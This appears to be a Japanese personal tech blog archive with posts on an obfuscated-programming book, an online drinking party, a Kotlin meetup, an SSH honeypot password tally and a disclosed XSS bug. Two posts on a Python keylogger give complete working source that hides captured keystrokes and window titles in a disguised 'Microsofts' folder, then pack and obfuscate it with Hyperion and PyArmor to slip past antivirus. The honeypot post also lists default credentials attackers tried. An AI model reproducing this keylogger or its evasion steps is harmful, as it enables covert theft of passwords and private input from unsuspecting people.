#!

路上に就職!

あなたの知らない超絶技巧プログラミングの世界を読んで

今回は以下の本を読んだ、前からこの本には興味があって非常に楽しめた。

www.amazon.co.jp

最初の方の章は著者が作成した作品が紹介されているどれも面白い作品ばかりで

ワクワクするが特に面白かったのは一文字を消しても動くqueneである。

普通のプログラムなら例えばevalのeを消すとSyntax Errorやundefinedなど

エラーが起こるがその作品は一文字消しても動くようになっている。

そのテクニックやアスキーアートにプログラムを埋め込む方法など多彩なテクニックを

紹介している。後半部分は私には結構難しかったがそれでも読むとワクワクした。

ちなみに自分でもアスキーアートFizzBuzzを埋め込むプログラムを書いたので

ぜひ見ていってほしい。

qiita.com

オンライン飲み会を実施してみて

以前同じ会社に勤めていた友人たちと飲もうと思ったのですが
新型コロナウイルスがヤバイのでオンライン飲み会を実施してみました。

※飲み会がお開きになってすぐに書いているので以下の文章は酔って書いています。

最初はZoomを使おうと思っていたのですが
環境は友人に相談したところDiscordがいいと言われたのでDiscordにしました。
Discordを選択した理由としては

  • Skypeだと音声の質が悪い
  • Zoomだと無料版を使うと40分の制限がある
  • ゲームのVCによく利用されるから質がいいはず

当日、Discord素人の僕は友人にグループを作ってもらいボイスチャンネルで開きました。

メリット

  • 集合時間に遅れないしお店を探さなくて済む
  • 閉店や飲み放題とかないので時間を気にしなくて飲める
  • 周りが静かで話しやすい
  • URLや画像をすぐに共有できる

デメリット

  • 終わりが来ないのでいつまでも話してしまう ※切り上げが難しい
  • 料理が貧相 ※当日のつまみはポテチだけ
  • オンラインなのでウェーイみたいな楽しみ方はできない
  • 3人以上になった場合、別々の話をすることができない

感想

いつものメンバーと飲む酒はクソ美味いし最高でした。僕は喫煙者なのですが
タバコが嫌いな人がいないか気にしなくていいので楽です。ただ、美味いつまみは出てこないので
料理を楽しみながら飲みたい人には向かないかもしれません。
あと、飲み放題とか区切りがないので飲む時間をキメて実施したほうがいいかもしれません。
僕はビデオ通話だと緊張するタイプなのですが次回はビデオ通話をしながら飲んでみたいと思います。

早く新型コロナウイルス収まってくれねーかな

おわり

前回作成したキーロガーを少し解析しづらくしてみる。

前回、実験用にキーロガーを書き直したのでそのキーロガーを使用し少し解析しづらくしてみようと思います。

0x6d61.hateblo.jp

実験1 Hyperionを使用する。

Hyperionとは対象のPEファイルを暗号化し実行時に復号し実行する。パッカーらしいです。
下記のリンクからHyperionのコードをダウンロードします。

http://nullsecurity.net/tools/binary.html

インストール

unzip Hyperion-2.2.zip
cd  Hyperion-2.2
sudo apt install i686-w64-mingw32-gcc

zipを解答しmingw-gccをインストールします。
次にMakefileコンパイラの項目を書き換えます。

CC = gcc
↓
CC = i686-w64-mingw32-gcc

makeをするとhyperion.exeが同じディレクトリに出来上がってると思います。
実行方法は暗号化したいファイルと暗号化したファイルを指定するだけです。

hyperion.exe <暗号化したいPEファイル> <暗号化したPEファイル>  

では実際に使用してみます。

Z:\Downloads\Hyperion-2.2>hyperion.exe -v dist\basickeylogger.exe C:\users\user\Desktop\basickeylogger2.exe

 -------------------------------
| Stage 1: Analyzing input file |
 -------------------------------

Opening dist\basickeylogger.exe
Successfully copied file to memory location: 0xb65020
Found valid MZ signature
Found pointer to PE Header: 0x108
Found valid PE signature
Found 64 bit binary
Image base is 0x140000000
Image size is 0x100056000

 -------------------------------
| Stage 2: Generating ASM files |
 -------------------------------

Input file size + Checksum: 0x5648fa
Rounded up to a multiple of key size: 0x564900
INFILE_SIZE equ 0x564900
 written to Src\Container\64\infile_size.inc
Generated checksum: 0x2b0a22ef
Generated Encryption Key:  0x2 0x0 0x1 0x1 0x3 0x3
 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
Written encrypted input file as FASM array to:
 Src\Container\64\infile_array.inc
IMAGE_BASE equ 0x140000000
 written to Src\Container\64\image_base.inc
IMAGE_SIZE equ 0x56000
 written to Src\Container\64\image_size.inc
REAL_KEY_SIZE equ 0x6
 written to Src\Container\64\key_size.inc
REAL_KEY_RANGE equ 0x4
 written to Src\Container\64\key_size.inc
include 'logfile_disable.asm'
 written to Src\Container\64\logfile_select.asm
include '..\..\Payloads\Aes\64\aes.inc'
 written to Src\Container\64\decryption_payload.asm
include '..\..\Payloads\Aes\64\aes.asm'
 written to Src\Container\64\decryption_payload.asm
include '..\..\Payloads\Aes\64\decryptexecutable.asm'
 written to Src\Container\64\decryption_payload.asm

 --------------------------------
| Stage 3: Generating Executable |
 --------------------------------

Starting FASM with the following parameters:
Commandline: Fasm\FASM.EXE Src\Container\64\main.asm C:\users\user\Desktop\basickeylogger2.exe
FASM Working Directory: Z:\Downloads\Hyperion-2.2
flat assembler  version 1.71.54  (1048576 kilobytes memory)
6 passes, 6.3 seconds, 5676544 bytes.

Done :-)

Z:\Downloads\Hyperion-2.2>

実行して暗号化されたPEファイルを作成したところWindows Defenderに検知されてしまいました。

f:id:x6d61:20200209170409p:plain
Windows Defenderに検知されたところ
少し解析しづらくするはずが検知されてしまったので実験失敗です。次の実験をしてみます。

実験2 PyArmorを使用してPythonコードそのものを難読化する。

前回の実験ではPyinstallerで実行ファイル化したものを暗号化しましたが今回はソースコードそのものを難読化してみたいと思います。
PyArmorのインストールは簡単でpipでパッケージを追加するだけです。
pip install pyarmor
難読化するにはpyarmor o pyファイルとコマンドを実行すれば難読化することができます。

mkdir work
cd work
cp basickeylogger.py .
pyarmor o basickeylogger.py

pyarmorを実行したあとにdistディレクトリが作成されるのでPyinstallerで実行ファイル化すれば難読化を施したキーロガーを作成することができます。

次回はpeCloakを試してみたいと思います。

Black Hat Python のキーロガーをPyHookedで書き直した。

Black Hat PythonPythonキーロガーを構築する章があるのですが ただ2系で書かれており3系に治してもPyhookで下記のエラーがでて動かなかった。。

TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'

そこで PyHookedと呼ばれるライブラリを使用し書き直すことにしました。

from pyhooked import Hook,KeyboardEvent
import sys
import os
import datetime
from ctypes import *

user32   = windll.user32
kernel32 = windll.kernel32
psapi    = windll.psapi
window_current = None

date = datetime.date.today()
file_name = date.strftime('%Y_%m_%d')

save_directory = '{0}//AppData//Local//Microsofts'.format(os.path.expanduser('~')) 
save_file = save_directory + '//' + '.' + file_name + '.txt'

input_key = []

def setting_keylogger():
    if not os.path.exists(save_directory):
        os.mkdir(save_directory)

def get_current_process():
    hwnd = user32.GetForegroundWindow()
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))
    process_id = "%d" % pid.value
    executable = create_string_buffer(512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    window_title = create_string_buffer(512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
    return window_title.value.decode('cp932', 'ignore')

def event(args):
    global window_current
    if isinstance(args,KeyboardEvent):
        if 'down' in args.event_type:
            now_window = get_current_process()
            if window_current != now_window:
                    input_key.append(now_window+"\n")
                    window_current = now_window
            if args.current_key not in ['Left','Up','Right','Down']:
                input_key.append(args.current_key)
            if 'Return' == args.current_key:
                with open(save_file,'a') as f:
                    f.write(''.join(input_key)+'\n')
                input_key.clear()

setting_keylogger()
window_current = get_current_process()
hook = Hook()
hook.handler = event
hook.hook()

C:\Users\username\AppData\Local にMicrosoftsというディレクトリを作成し.Y_m_d.txtというフォーマットで 押したキーを保存する部分を追加しました。Windows Defenderで検知されるかと思ったら意外と検知されずに 動いてしまった。
以下はVirusTotalにアップロードした結果です。

f:id:x6d61:20200206230234p:plain
VirusTotal

Windows Defenderに検知されて回避する記事を書こうと思ってたのに予定が狂ってしまった。

SSHに来る辞書攻撃で使われる単語を調べてみた

一週間ほどsshのログインを模倣するPythonスクリプトを動かして調査しました。 期間は2020/01/12~2020/01/19からで攻撃が来た回数は14305回です。

  1. admin
  2. !@
  3. root
  4. p@ssw0rd
  5. password
  6. oracle
  7. alpine
  8. 987654321
  9. 654321

一番多かったパスワードはadminです。多分、パスワードとユーザ名が同じジョーアカウントを狙いに来ているんだと思います。 気になるのはalpineでこちらはiPhoneを初期ユーザーがmobile:alpineで脱獄してsshdをインストールしたけどパスワードを変更してない人を
狙っていると思います。以下のログが残っていました。

INFO:Access account username:root password:alpine
INFO:Access account username:mobile password:alpine
  1. root
  2. ec2-user
  3. admin
  4. fake
  5. oracle
  6. mysql
  7. mobile
  8. admina

rootユーザーでの攻撃が14281回来ていて断トツで1位でした。fakeで攻撃が来ているのが気になります。

一番攻撃が多かった国は中国でした。二位はアメリカ。三位がイギリスでした。
1. 中国
1. アメリ
1. イギリス
1. フランス
1. ベトナム

以下で不正アクセスを試みたパスワード一覧を公開しています。

不正アクセスを試みたパスワード一覧 · GitHub

JavaDo Kotlin入門に参加してきた。

 久しぶりに勉強会へ行ってきました。ここ半年、土日はすべてゴロゴロして 外ににでてなかったので かなり久しぶりに参加しました。
参加した勉強会は Kotlinらしい書き方をモブプログラミングで学ぼう!です。

javado.connpass.com

Kotlin入門編:解説等

最初の発表は watanave さんのKotlin入門編です。
以下のテキストを使用し基本的な言語仕様などを学びました。言語仕様的には最近のモダンな言語に 通じるところがあり 特にわからないことがありませんでした。ですがJavaを今までやったことがないのであまり有り難みがわからず…
Javaを触ってきた他の方はかなり感動していました。

個人的に面白かった話はnull許容型と非null許容型の部分でnullかもしれないオブジェクトから
toInt()のようなメソッドを呼び出すときに test?.toInt()という糖衣構文を使うとnullだった場合
nullが返りnullじゃない場合は呼び出せる、安全呼び出しという機能がある話です。
またエルビス演算子(?:)というnullだった場合、別の値を返す演算子にも驚きました。
ただ一番興味があった関数部分がサラッと終わってしまったので少し残念です。

qiita.com

Kotlin練習編:モブプログラミングの方法

次は先程のKotlinの説明をもとに実際にプログラミングをする時間でしたが 普通にプログラミングするのではなくモブプログラミングという手法を使いました。 実際にやる前に山川さんからモブプログラミングの説明がありました。 モブプログラミングとはドライバーとモブに別れ1つのマシンを使いながら目標に向かってみんなでプログラミングします。 モブはモブ同士で話し合い合意が取れた意見をドライバーに支持してコードを書きます。
ドライバーはモブの指示なしで動いてはいけません。ドライバは時間を決めて交代し適度に休憩するのが良いらしいです。
目標を達成するとハイタッチするところが一番重要です!!

僕はここでダンスを踊りました。

実際にモブプログラミングはかなり盛り上がりました。普段の自分だと思いつかない
実装が提案されたり楽しかったです。ドライバーはUSキーボードに慣れておらず別の意味で
苦戦しました。これは会社でも導入してみたいです。

感想とか

久しぶりに勉強会へ参加してめちゃくちゃ刺激をうけました。
やっぱりハンズオンは楽しいですね!Kotlinは競プロとかで使用してみようと思います。
自分もなんだか勉強会で登壇したくなってきました。絶対にスライドづくり嫌がりそうだけど

ツイキャスでxss発見した。

ツイキャスxss発見した。

 

http://twitcasting.tv/rankingindex.php のgenreパラメータに反射型xss脆弱性があった。

f:id:x6d61:20170323201349p:plain

ツイキャスに直接メールしたら返信が来てから二日ぐらいで修正された。

脆弱性公表も了承済み

 

終わり